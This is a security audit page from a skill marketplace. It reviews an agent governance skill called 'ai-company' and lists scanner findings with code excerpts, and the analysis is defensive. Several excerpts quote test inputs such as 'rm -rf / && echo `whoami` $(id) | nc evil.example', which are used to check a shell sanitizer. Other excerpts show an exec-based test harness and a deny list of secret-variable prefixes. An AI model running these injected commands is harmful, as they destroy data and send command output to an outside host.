ClawHub
Back to skill

Security audit

ai-company

Security checks for vulnerabilities and agentic risk

Overview

The skill is mostly coherent governance tooling, but it asks for broad workspace and agent-session authority with broad activation triggers and some under-disclosed side effects.

Review this skill before installing if your workspace contains sensitive project data. Its core purpose is coherent, but install it only where broad workspace read/write and agent-session/subagent permissions are acceptable, and prefer running self-scaling actions manually after checking that state-file updates and generated upgrade packages are expected.

A.I.G

Vulnerability Patterns
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs

SkillSpector

Vulnerability Patterns
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Memory PoisoningPersistent Context Injection, Context Window Stuffing, Memory Manipulation
Findings (34)

Dangerous chain: exec() wrapping compile

Critical
Category
Dangerous Code Execution
Confidence
99% confidence
Finding

The test extracts Python code blocks from a markdown file and executes them with exec(compile(...)) in-process. If the authoritative markdown source is modified maliciously or compromised in the supply chain, arbitrary Python code runs during testing with the privileges of the test runner, which can read files, spawn processes, and alter the environment.

Content

Scanner excerpt · tests/test-method-patterns.py (reported line 246)May include surrounding context.

python
ns["Path"] = Path
    for block in blocks:
        try:
            exec(compile(block, str(src), "exec"), ns)
        except SyntaxError as exc:
            offending = ""
            if exc.lineno and 0 < exc.lineno <= len(block.splitlines()):

Env Variable Harvesting

High
Category
Data Exfiltration
Confidence
84% confidence
Finding

The helper iterates over the full process environment and forwards most variables into child processes, excluding only a narrow prefix list. This can leak non-matching secrets such as AWS_SESSION_TOKEN, OPENAI_API_KEY, GITHUB_TOKEN, cloud credentials, internal endpoints, or proxy settings to untrusted subprocesses.

Content

Scanner excerpt · references/method-patterns.md (reported line 194)May include surrounding context.

md
blocked_prefixes = ("api_", "token", "secret", "password", "key_")
    return {
        name: value
        for name, value in os.environ.items()
        if not name.lower().startswith(blocked_prefixes)
    }

Self-Modification

High
Category
Rogue Agent
Confidence
90% confidence
Finding

Skill modifies its own code, configuration, or behavior at runtime. Self-modification enables an agent to escalate privileges, disable safety constraints, or install persistent backdoors.

Content

Scanner excerpt · references/method-patterns.md (reported line 635)May include surrounding context.

md
scrubs secret-like variables from child environments.
- **Zero sensitive-path access** — template 6 rejects any path resolving
  outside `{SKILL_DIR}`.
- **Zero self-rewrite** — the skill never writes into `{SKILL_DIR}`;
  writable output goes only under `{WORKSPACE_ROOT}`.
- **Idempotency** — operations are safe to retry; `retry_with_backoff`
  re-raises the final error and `check_rate_limit` keeps no persistent

Self-Modification

High
Category
Rogue Agent
Confidence
85% confidence
Finding

Skill modifies its own code, configuration, or behavior at runtime. Self-modification enables an agent to escalate privileges, disable safety constraints, or install persistent backdoors.

Content

Scanner excerpt · references/scaling.md (reported line 185)May include surrounding context.

md
**error-code alias-table skeleton** to `error-codes.md` (one row per legacy
`CEO_`/`CTO_` code, every row marked "requires human review") and flags the
completion of the mappings in the upgrade report as a mandatory human-review
item; this build does not rewrite the existing code tables automatically. The
report lists the retained prefixes, the revived prefixes, and the review
requirement, and gate G6 verifies that the package's `error_code_prefixes`
frontmatter lists all five department prefixes plus `SCL_`.

YARA rule 'agent_skill_mcp_tool_poisoning_metadata': MCP/tool metadata poisoning indicators in tool schemas or skill manifests [agent_skills]

High
Category
YARA Match
Confidence
80% confidence
Finding

YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Content

Scanner excerpt · scripts/self-scale.ps1 (reported line 322)May include surrounding context.

text
m
}

# --------------------------------------------------------------------------------------
# Threshold evaluation (step 2, T1-T4)
# --------------------------------------------------------------------------------------

function Invoke-ThresholdEvaluation {
  param($State, $Metrics, $Config)
  $tier = [string]$State.current_tier
  $cap = $TierAgentCaps[$tier]
  $mean = $TierBlockMean[$tier]
  $triggers = @()

  # T1 - agent capacity overflow
  $t1Limit = [math]::Round($cap * $Config.AgentHeadroom, 3)
  Write-Log ("T1 agent capacity: agent_count = {0}, threshold > {1}" -f $Metrics.AgentCount, $t1Limit)
  if ($Metrics.AgentCount -gt $t1Limit) {
    $triggers += @{ Id = 'T1'; Name = 'Agent capacity overflow'; Metric = 'agent_count'; Value = $Metrics.AgentCount; Threshold = ('> ' + $t1Limit) }
  }

  # T2 - function-block overload in a single department
  $t2Limit = [math]::Round($mean * $Config.BlocksRatio, 3)
  Write-Log ("T2 function-block overload: max_blocks_per_department = {0}, t

Obfuscated Code

High
Category
Supply Chain
Confidence
50% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · scripts/self-scale.ps1 (reported line 792)May include surrounding context.

text
# Decoded, $newTree is the 29-file small-tier layout: 15 root files
  # (incl. README-FOR-AI.md), prompts/ (3), references/ (3),
  # references/departments/ (5 new slugs), scripts/ (2), tests/ (1).
  $newTree = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('YWktY29tcGFueS1nb3Zlcm5hbmNlLwrilJzilIDilIAgLmVkaXRvcmNvbmZpZwrilJzilIDilIAgLmdpdGlnbm9yZQrilJzilIDilIAgLnNjYWxpbmctc3RhdGUuanNvbgrilJzilIDilIAgQUdFTlRTLm1kCuKUnOKUgOKUgCBDSEFOR0VMT0cubWQK4pSc4pSA4pSAIENPREVfT0ZfQ09ORFVDVC5tZArilJzilIDilIAgQ09OVFJJQlVUSU5HLm1kCuKUnOKUgOKUgCBMSUNFTlNFCuKUnOKUgOKUgCBSRUFETUUtRk9SLUFJLm1kCuKUnOKUgOKUgCBSRUFETUUuZW4ubWQK4pSc4pSA4pSAIFJFQURNRS5tZArilJzilIDilIAgUkVBRE1FLnpoLm1kCuKUnOKUgOKUgCBTRUNVUklUWS5tZArilJzilIDilIAgU0tJTEwubWQK4pSc4pSA4pSAIF9tZXRhLmpzb24K4pSc4pSA4pSAIHByb21wdHMvCuKUgiAgIOKUnOKUgOKUgCAwMS1pbXBsZW1lbnQtbWV0aG9kLm1kCuKUgiAgIOKUnOKUgOKUgCAwMi1yb2J1c3RuZXNzLWNoZWNrcy5tZArilIIgICDilJTilIDilIAgMDMtdGVzdC1jYXNlcy5tZArilJzilIDilIAgcmVmZXJlbmNlcy8K4pSCICAg4pSc4pSA4pSAIG1ldGhvZC1wYXR0ZXJucy5tZArilIIgICDilJzilIDilIAgZXJyb3ItY29kZXMubWQK4pSCICAg4pSc4pSA4pSAIHNjYWxpbmcubWQK4pSCICAg4pSU4pSA4pSAIGRlcGFydG1lbnRzLwrilIIgICAgICAg4pSc4pSA4pSAIGdvdmVybmFuY2UtYW5kLW9wZXJhdGlvbnMubWQK4pSCICAgICAgIOKUnOKUgOKUgCBxdWFsaXR5LWFuZC1kZWxpdmVyeS5tZArilIIgICAgICAg4pSc4pSA4pSAIHRlY2hub2xvZ3ktYW5kLXBsYXRmb3JtLm1kCuKUgiAgICAgICDilJzilIDilIAgc2VjdXJpdHktYW5kLWNvbXBsaWFuY2UubWQK4pSCICAgICAgIOKUlOKUgOKUgCBwZW9wbGUtYW5kLWdyb3d0aC5tZArilJzilIDilIAgc2NyaXB0cy8K4pSCICAg4pSc4pSA4pSAIHNlbGYtc2NhbGUucHMxCuKUgiAgIOKUlOKUgOKUgCBzY2FsaW5nLWNvbmZpZy5qc29uCuKUlOKUgOKUgCB0ZXN0cy8KICAgIOKUlOKUgOKUgCB0ZXN0LW1ldGhvZC1wYXR0ZXJucy5weQo='))
  $newTree = $newTree + "`n"
  $treeNoteEn = '> Structure tree rewritten to the 29-file small-tier skeleton by the'
  $treeNoteEn = $treeNoteEn + ' upgrade generator - requires human review before installation.'

exec() call detected

High
Category
Dangerous Code Execution
Confidence
99% confidence
Finding

The exec() call executes code derived from repository content rather than a trusted static module. In this skill context, that is especially risky because the test harness explicitly loads and runs code from documentation, so any tampering of references/method-patterns.md becomes code execution during CI or local validation.

Content

Scanner excerpt · tests/test-method-patterns.py (reported line 246)May include surrounding context.

python
ns["Path"] = Path
    for block in blocks:
        try:
            exec(compile(block, str(src), "exec"), ns)
        except SyntaxError as exc:
            offending = ""
            if exc.lineno and 0 < exc.lineno <= len(block.splitlines()):

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
100% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · tests/test-method-patterns.py (reported line 335)May include surrounding context.

python
fn = self._fn("sanitize_user_query")
        plain = "summarize the quarterly delivery report"
        self.assertEqual(fn(plain), plain, "普通查询不应被改动")
        dirty = "report; rm -rf / && echo `whoami` $(id) | nc evil.example"
        try:
            out = fn(dirty)
        except Exception:

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
100% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · tests/test-method-patterns.py (reported line 599)May include surrounding context.

python
fn = self._fn("sanitize_user_query")
        plain = "summarize the quarterly delivery report"
        self.assertEqual(fn(plain), plain, "普通查询不应被改动")
        dirty = "report; rm -rf / && echo `whoami` $(id) | nc evil.example"
        try:
            out = fn(dirty)
        except Exception:

Chaining Abuse

High
Category
Tool Misuse
Confidence
75% confidence
Finding

Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.

Content

Scanner excerpt · tests/test-method-patterns.py (reported line 335)May include surrounding context.

python
fn = self._fn("sanitize_user_query")
        plain = "summarize the quarterly delivery report"
        self.assertEqual(fn(plain), plain, "普通查询不应被改动")
        dirty = "report; rm -rf / && echo `whoami` $(id) | nc evil.example"
        try:
            out = fn(dirty)
        except Exception:

Chaining Abuse

High
Category
Tool Misuse
Confidence
75% confidence
Finding

Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.

Content

Scanner excerpt · tests/test-method-patterns.py (reported line 599)May include surrounding context.

python
fn = self._fn("sanitize_user_query")
        plain = "summarize the quarterly delivery report"
        self.assertEqual(fn(plain), plain, "普通查询不应被改动")
        dirty = "report; rm -rf / && echo `whoami` $(id) | nc evil.example"
        try:
            out = fn(dirty)
        except Exception:

YARA rule 'agent_skill_destructive_autonomous_actions': Autonomous destructive filesystem, shell history, or repository actions in AI agent skills [agent_skills]

High
Category
YARA Match
Confidence
75% confidence
Finding

YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).

Content

Scanner excerpt · tests/test-method-patterns.py (reported line 335)May include surrounding context.

python
径通过但边界失效）")

    # ── 2. sanitize_user_query：普通查询不变 / shell 元字符被净化 ──────────────
    def test_sanitize_user_query(self):
        fn = self._fn("sanitize_user_query")
        plain = "summarize the quarterly delivery report"
        self.assertEqual(fn(plain), plain, "普通查询不应被改动")
        dirty = "report; rm -rf / && echo `whoami` $(id) | nc evil.example"
        try:
            out = fn(dirty)
        except Exception:
            return  # 拒绝危险输入亦为合法净化策略
        self.assertIsInstance(out, str, "净化结果应为字符串")
        for bad in (";", "&&", "`", "$(", "|"):
            self.assertNotIn(bad, out, f"shell 元字符未被净化: {bad!r}")

    # ── 3. execute_safe_command：超时生效 / cwd 受限 ──────────────────────────
    def test_execute_safe_command(self):
        fn = self._fn("execute_s

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
100% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · tests/test-method-patterns.py (reported line 599)May include surrounding context.

python
self.assertIsNotNone(tmpl, "模板填充失败：常见占位符语法均未生效")
        # 边界：kwargs 输入先净化（拒绝或去除元字符均可）
        try:
            out2 = fn(tmpl, topic="safe; rm -rf / `whoami`")
        except Exception:
            return  # 拒绝危险输入亦为合法净化策略
        self.assertIsInstance(out2, str)

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
92% confidence
Finding

This README is a source specification file for agents, but its primary instructional content is written in Chinese and explicitly addressed to the agent as the authoritative generation spec. The policy for all file types prohibits language/locale constraints unless the skill offers user choice or clearly justifies the locale restriction; here the document does not offer language choice for maintainers and instead imposes a single language in the source instructions.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Medium
Category
Not specified by scanner
Confidence
80% confidence
Finding

The text says self-scale.ps1 -Action evaluate performs a read-only readiness check, then immediately describes scaling activity being recorded in .scaling-state.json. In a governance skill, documentation that mixes read-only evaluation language with state-recording behavior can mislead users about side effects of the scaling workflow.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
91% confidence
Finding

The manifest lists many natural-language triggers such as 'review governance policy', 'translate deliverable content', and 'respond in user language' without defining boundaries, exclusions, or the exact invocation context. Because this is a manifest file, broad trigger wording can cause unintended activation when users make common requests that happen to match these phrases.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

Line L18 instructs output to follow the language currently used in the conversation, and L75 repeats this requirement. This is a natural-language locale policy constraint without explicit user opt-in or a documented justification for enforcing that language behavior.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

The instruction at L75 mandates that the response be in the language currently used in the conversation. Because it imposes a language choice instead of offering one, it matches the policy-violation category for language or locale constraints.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
89% confidence
Finding

The activation section provides example scenarios but does not state what should not trigger the skill, making accidental or adversarial invocation easier through ordinary language. Because this skill covers security triage, deployment gating, PII checks, and model policy operations, unclear trigger boundaries expand the chance of unintended execution in sensitive workflows.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
86% confidence
Finding

The trigger scenario 'Register the model adapter and set its invocation policy' is a broad operational phrase that could be matched during normal discussion or documentation handling, causing the skill to activate for sensitive model-registration and policy actions without clear gating. In this department context, those actions affect deployment and model-governance controls, so ambiguous activation increases the risk of unintended high-impact administrative behavior.

Content

No source excerpt is available for this finding.

Autonomous Decision Making

Medium
Category
Excessive Agency
Confidence
75% confidence
Finding

Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.

Content

Scanner excerpt · references/departments/engineering-and-safety.md (reported line 269)May include surrounding context.

md
| CTO_008 | Authentication or authorization failure | A call presents an invalid credential or requests a role beyond least privilege | 1. Deny the request 2. Rotate the affected credential 3. Audit 7 days of that identity's activity |
| CTO_009 | Agent activated without certification | An agent enters production routing with a capability matrix score below 80% | 1. Deactivate the agent 2. Assign targeted training 3. Re-certify before reactivation |
| CTO_010 | Knowledge base staleness | A knowledge or memory artifact passes 90 days unreviewed, or an ethics review is overdue by more than 14 days | 1. Mark the artifact stale 2. Schedule review or ethics audit 3. Update or archive within 10 business days |
| CTO_011 | External content released without approval | Content leaves the organization without L5 harness or CMO sign-off, or NPS falls below 30 | 1. Withdraw the content 2. Route it through the approval chain 3. Add the case to brand review within 5 business days |
| CTO_012 | Intelligence source reliability below threshold | A SITREP cites sources averaging below 0.6 reliability, or is more than 7 days overdue | 1. Reclassify the report as unverified 2. Re-acquire from sources rated 0.6 or higher 3. Republish within 48 hours |

## SCL_ Prefix (infrastructure, all tiers fixed)

Autonomous Decision Making

Medium
Category
Excessive Agency
Confidence
75% confidence
Finding

Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.

Content

Scanner excerpt · references/error-codes.md (reported line 38)May include surrounding context.

md
| CTO_008 | Authentication or authorization failure | A call presents an invalid credential or requests a role beyond least privilege | 1. Deny the request 2. Rotate the affected credential 3. Audit 7 days of that identity's activity |
| CTO_009 | Agent activated without certification | An agent enters production routing with a capability matrix score below 80% | 1. Deactivate the agent 2. Assign targeted training 3. Re-certify before reactivation |
| CTO_010 | Knowledge base staleness | A knowledge or memory artifact passes 90 days unreviewed, or an ethics review is overdue by more than 14 days | 1. Mark the artifact stale 2. Schedule review or ethics audit 3. Update or archive within 10 business days |
| CTO_011 | External content released without approval | Content leaves the organization without L5 harness or CMO sign-off, or NPS falls below 30 | 1. Withdraw the content 2. Route it through the approval chain 3. Add the case to brand review within 5 business days |
| CTO_012 | Intelligence source reliability below threshold | A SITREP cites sources averaging below 0.6 reliability, or is more than 7 days overdue | 1. Reclassify the report as unverified 2. Re-acquire from sources rated 0.6 or higher 3. Republish within 48 hours |

## SCL_ Prefix (infrastructure, all tiers fixed)

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
85% confidence
Finding

Line L007 references a "source-language standard," which indicates the skill package may require a specific language/locale. In this markdown file, there is no accompanying user opt-in, language choice, or explicit region-specific justification for that constraint.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The documentation states that content must already be passed through mask_sensitive_data, but format_output_json does not enforce that requirement itself. In practice, callers can easily forget the masking step, causing raw PII to be wrapped, logged, or emitted despite the claimed mandatory pipeline.

Content

No source excerpt is available for this finding.

Context Window Stuffing

Medium
Category
Memory Poisoning
Confidence
80% confidence
Finding

Skill attempts to fill the context window with filler content, displacing legitimate instructions and safety constraints. This can degrade agent performance or bypass safety boundaries.

Content

Scanner excerpt · references/method-patterns.md (reported line 344)May include surrounding context.

md
- Only allowlisted text extensions (.md/.txt/.json/.yaml/.yml) may be
      read; binaries and scripts are refused.
    - Files larger than MAX_REFERENCE_FILE_BYTES (1 MiB) are refused, so a
      runaway reference cannot exhaust the context budget.

    Returns the file content as a UTF-8 string.
    """